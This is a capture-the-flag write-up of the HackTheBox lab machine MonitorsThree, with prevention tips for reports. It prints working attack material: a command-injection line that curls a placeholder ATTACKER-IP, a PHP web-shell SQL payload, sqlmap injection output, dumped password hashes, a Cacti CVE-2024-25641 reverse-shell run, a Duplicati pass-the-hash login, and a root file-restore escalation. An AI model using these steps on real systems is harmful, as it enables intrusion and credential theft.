MonitorsThree chains a time-based SQL injection in a forgotten-password form into an MD5 admin hash that also opens a Cacti 1.2.26 instance on a vhost, CVE-2024-25641’s self-signed package import for a shell, database credentials in Cacti’s config for a reused bcrypt password, and a root Duplicati container whose world-readable config database lets us log in with the stored passphrase hash and back up root’s files.
In the contrary the official HTB path and description of the box goes as follows:
MonitorsThree is a Medium Difficulty Linux machine that features a website for a company offering networking solutions. The website has a forgotten password page vulnerable to SQL injection, which is leveraged to gain access to credentials. Further enumeration of the website reveals a subdomain featuring a Cacti instance that can be accessed with the credentials obtained from the SQL injection. The Cacti instance is vulnerable to CVE-2024-25641, which is leveraged to gain a foothold on the system. Further enumeration of the system reveals credentials used to access the database, where hashes are found and cracked to obtain the user password. This is then used to gain access to SSH private keys, leading to SSH access to the system. Enumeration of open ports on the system reveals a vulnerable Duplicati instance, which is leveraged to gain a shell as root.
The login page links to /forgot_password.php, which looks like a username oracle. Fuzzing it gave unreliable results, apparently rate limited. None of these are real users:
' EXEC xp_cmdshell 'curl http://ATTACKER-IP:8888'; -- // is MSSQL syntax. The error names MariaDB, so it never had a chance:
Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'EXEC xp_cmdshell 'curl http://ATTACKER-IP:8888'; -- //'' at line 1
UNION SELECT with 9 columns lines up, but writing a web shell with INTO OUTFILE fails:
1
' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null,null,null,null,null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //
Connection failed: SQLSTATE[28000]: Invalid authorization specification: 1045 Access denied for user 'app_user'@'localhost' (using password: YES)
Tip
Error 1045 Access denied looks like a login failure, but here the app is already connected. MySQL/MariaDB returns the same code when the user lacks the FILE privilege that INTO OUTFILE needs. app_user can read its own database and nothing more.
So we read the database with sqlmap instead, from a saved Burp request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ sqlmap -r req.txt -p username --dump
[16:57:57][INFO] parsing HTTP request from 'req.txt'[16:57:57][INFO] resuming back-end DBMS 'mysql'[16:57:57][INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb/forgot_password.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST) Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 6901 FROM (SELECT(!SLEEP(5)))SlPv) AND 'OaWr'='OaWr
---
[16:58:06][INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
1
2
3
4
5
6
7
8
9
10
11
Database: monitorsthree_db
Table: users
[4 entries]+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
|2| 1978-04-25 |[email protected]| Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 ||5| 1985-02-15 |[email protected]| Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 ||6| 1990-07-30 |[email protected]| Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 ||7| 1982-11-23 |[email protected]| David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
Tip
With the defaults, sqlmap only found the time-based technique, so every character costs a SLEEP(5) and the dump is slow. The official route marks the parameter with * and runs --risk 3 --level 5, which also finds boolean-based and error-based (FLOOR) injection. sqlmap then prefers those, and the dump takes seconds. Limit it with -D monitorsthree_db -T users as well.
Prevention (for reports): Use prepared statements for every query, including “harmless” ones like a password reset lookup. Don’t show database errors to users, and store passwords with a slow, salted hash (bcrypt/argon2) instead of plain MD5.
admin:<REDACTED> logs in to Cacti. Version 1.2.26 is vulnerable to CVE-2024-25641, an authenticated arbitrary file write in Package Import (needs the Import Templates permission, which admin has):
A package is a gzipped XML file that lists files by name and content. import_package() in lib/import.php writes each file into the Cacti directory under the given name, without filtering the path.
The package is signed, but the XML carries its own public key and the signature is checked against that key. Anyone can generate a key pair and sign their own package, so the check proves nothing.
A file named resource/<name>.php with PHP content lands in the web root and runs when requested.
We used the public PoC, which builds and signs the package, uploads it and requests the written file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ python cacti-rce.py --url http://cacti.monitorsthree.htb/cacti/ --user admin --password <REDACTED> --lhost ATTACKER-IP --lport 4444CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
[*] Checking Cacti version...
[+] Version seems to be 1.2.26
[*] Logging in on http://cacti.monitorsthree.htb/cacti/index.php
[+] Successfully logged in as admin
[*] Generating malicious payload...
[+] Malicious GZIP: kgrdzyduqu.php.gz
[*] Uploading GZIP file...
[+] Successfully uploaded GZIP file
[*] Validating success...
[+] Success!
[*] Triggering reverse shell by sending GET request to http://cacti.monitorsthree.htb/cacti/resource/kgrdzyduqu.php
[+] Check your netcat listener
1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 4444listening on [any]4444 ...
connect to [ATTACKER-IP] from (UNKNOWN)[VICTIM-IP]36940Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 19:50:15 up 6:03, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data)gid=33(www-data)groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data)gid=33(www-data)groups=33(www-data)
Tip
The official writeup builds the package by hand with the PHP PoC from the GitHub advisory (openssl_pkey_new(), openssl_sign(), gzip) and imports it through Import/Export → Import Packages. The exploit-db script automates the same steps.
Tip
Prevention (for reports): Update Cacti to 1.2.27 or later. Grant Import Templates only to trusted admins, and don’t reuse the website admin’s password on other applications.
A Duplicati backup server that runs as root (PUID=0), has the host’s whole filesystem mounted at /source, and listens only on 127.0.0.1:8200. That’s the target for root. Its config directory is readable for everyone:
1
2
3
4
5
6
7
8
www-data@monitorsthree:/opt/duplicati/config$ ls -al
total 2508drwxr-xr-x 4 root root 4096 Dec 4 14:46 .
drwxr-xr-x 3 root root 4096 Aug 182024 ..
drwxr-xr-x 3 root root 4096 Aug 182024 .config
-rw-r--r-- 1 root root 2461696 Dec 4 13:47 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root 90112 Dec 4 14:46 Duplicati-server.sqlite
drwxr-xr-x 2 root root 4096 Aug 182024 control_dir_v2
Tip
linpeas also shows Mono’s XSP web server (xsp4.exe --port 8084 --address 0.0.0.0). It runs as www-data and port 8084 is filtered from outside, so it can’t give us anything we don’t already have. A dead end.
To reach MySQL and Duplicati from Kali as if they were local, we tunnel into the box with ligolo-ng. On Kali, we create the TUN interface and start the proxy:
1
2
3
└─$ sudo ip tuntap add user $USER mode tun ligolo
└─$ sudo ip link set ligolo up
└─$ ./proxy -selfcert -laddr 0.0.0.0:11601
On the target, the agent connects back over the HTB VPN:
Everything we need listens on the box’s localhost: MySQL on 3306, Duplicati on 8200 (Docker publishes the container port there). The ligolo agent treats the reserved address 240.0.0.1 as its own 127.0.0.1, so we only have to route that one address into the tunnel:
1
└─$ sudo ip route add 240.0.0.1/32 dev ligolo
[Agent : www-data@monitorsthree] » start
How a request to 240.0.0.1 reaches the box:
The kernel picks the most specific route, so 240.0.0.1/32 dev ligolo sends the packet into the TUN interface instead of out via the default gateway.
The ligolo proxy reads the raw packet from the TUN, completes the TCP handshake itself (a userspace network stack) and asks the agent over the TLS session to open the same connection.
The agent makes a normal connect() to 127.0.0.1:<port> on the box and relays the bytes. The service sees a connection from localhost.
240.0.0.0/4 is reserved and never used on real networks, so it can’t clash with anything, and 127.0.0.1 itself can’t be routed because it always means our own loopback.
Tip
Route clash with local Docker. Adding 172.18.0.0/16 for the container network failed with error: file exists. The Kali box runs its own Docker bridge on the same subnet:
1
2
3
└─$ ip route get 172.18.0.2
172.18.0.2 dev br-bad297768b77 src 172.18.0.1 uid 1000 cache
Either stop the local containers and remove their network, or route single /32 hosts via ligolo (more specific, so they win). Here the containers weren’t needed, because the published port is on the box’s localhost.
Tip
Because ligolo relays sockets rather than forwarding packets, the agent needs no root, and raw-packet tricks are emulated. Use nmap -sT -Pn through the tunnel. Once we have marcus’s SSH key, ssh -L 8200:127.0.0.1:8200 does the same job for Duplicati, which is the official route.
In the mysql client, -P is the port and -p is the password, attached with no space (-p'pass'). -p 3306 makes the client prompt for a password and treats 3306 as an extra argument. A typo at that prompt gives the same 1045 Access denied as wrong credentials.
1
2
3
4
5
6
7
8
9
MariaDB [cacti]> select * from user_auth;+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|1| admin |$2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G|0| Administrator |[email protected]||| on | on | on | on |2|1|1|1|1| on | -1 | -1 | -1 ||0|0|436423766||3| guest |$2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |0| Guest Account |[email protected]||| on | on | on ||1|1|1|1|1|| -1 | -1 | -1 ||0|0|3774379591||4| marcus |$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |0| Marcus |[email protected]|| on | on | on | on | on |1|1|1|1|1| on | -1 | -1 |||0|0|1677427318|+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set(0.006 sec)
marcus is the box’s only login user. bcrypt ($2y$) is hashcat mode 3200:
Prevention (for reports): Don’t leave default database credentials (cactiuser:cactiuser). Keep config files out of reach of the web user where possible, and don’t reuse application passwords for system accounts.
From the docker-compose.yml above: Duplicati runs as root, sees the host’s / as /source, and listens on 127.0.0.1:8200. Through the tunnel it opens at http://240.0.0.1:8200 and asks for a password.
/opt/duplicati/config holds two SQLite databases, both world-readable. CTADPNHLTC.sqlite is the local database of an existing backup job. It only covers the Cacti web files, nothing under /source/root, so it’s a dead end:
1
2
3
4
5
6
7
8
SQLite-3.54 CTADPNHLTC.sqlite-> select * from File where Path LIKE '%root.txt%';╭────┬──────┬────────────┬────────────╮
│ ID │ Path │ BlocksetID │ MetadataID │
╘════╧══════╧════════════╧════════════╛
SQLite-3.54 CTADPNHLTC.sqlite-> select * from File where Path LIKE '%/source/root%';╭────┬──────┬────────────┬────────────╮
│ ID │ Path │ BlocksetID │ MetadataID │
╘════╧══════╧════════════╧════════════╛
The server’s own settings are in Duplicati-server.sqlite, table Option, which includes server-passphrase:
Duplicati’s web login never sends the password itself (GitHub issue #5197). After the first request, login.cgi returns a Nonce and a Salt, and the browser computes:
saltedpwd = SHA256(password + salt) # stored on the server as server-passphrase
noncedpwd = SHA256(nonce + saltedpwd) # sent as the password parameter
The server stores only saltedpwd and checks the login by computing the second line itself. We already have saltedpwd from the database, so we skip the first line and never need the password or the salt. It’s the same idea as pass-the-hash. The salt in the login.cgi response only serves as a check that the database we read belongs to the running instance.
server-passphrase is Base64, and the JavaScript expects hex (CyberChef From Base64 → To Hex):
HTTP/1.1200OKContent-Type:application/jsonServer:Tiny WebServerSet-Cookie:session-auth=QE91NPzAwTVRtZE4HzWti4tsmtuJlitZ16gUvEf99y0; expires=Sat, 05 Dec 2026 09:52:53 GMT;path=/;{"Status":"OK"}
And then we are logged in!
Tip
The nonce changes with every login attempt and is tied to the session-nonce cookie. Compute noncedpwd from the nonce of the request you are holding in Burp, not from an earlier one.
URL-encode the value (Ctrl+U in Burp). Base64 can contain +, which turns into a space in a form body and breaks a correct hash. This one only worked unencoded because it had no +.
In CyberChef the whole calculation is From Hex → SHA2 (256) → From Hex → To Base64 on the nonce hex followed by the saltedpwd hex. The second From Hex is needed because SHA2 outputs a hex string.
Tip
Prevention (for reports): Keep Duplicati’s config database readable by root only (here it was 0644 in a world-readable directory), keep Duplicati updated, and don’t run a backup container as root with the host’s / mounted unless it really needs everything.
Duplicati can read and write anything under /source as root. A backup job copies files out, and a restore writes them wherever we choose:
Add backup, encryption set to No encryption.
Destination: local folder /source/home/marcus/.
Source data: /source/root/.
Run now, then Restore, select root.txt and restore it to /source/home/marcus/.
The backup volumes and the restored flag end up in marcus’s home:
1
2
3
4
5
6
7
marcus@monitorsthree:~$ ls
config.php
duplicati-20261205T091441Z.dlist.zip
duplicati-b0199e0a0cc1e483ea1f9c4e9fcd7a6fb.dblock.zip
duplicati-ia820d83e4eb64149897eb697138978f5.dindex.zip
root.txt
user.txt
Tip
Different from the intended path. We used Duplicati as a root file read. The official route uses it as a root file write for a shell: it saves a cron line in marcus’s home, backs it up and restores it into /source/etc/cron.d:
Restoring our public key as /source/root/.ssh/authorized_keys works the same way and gives SSH as root. Both work because a restore runs as root and, by default, doesn’t restore the original permissions, so the files are created owned by root. That’s what cron and sshd’s StrictModes require.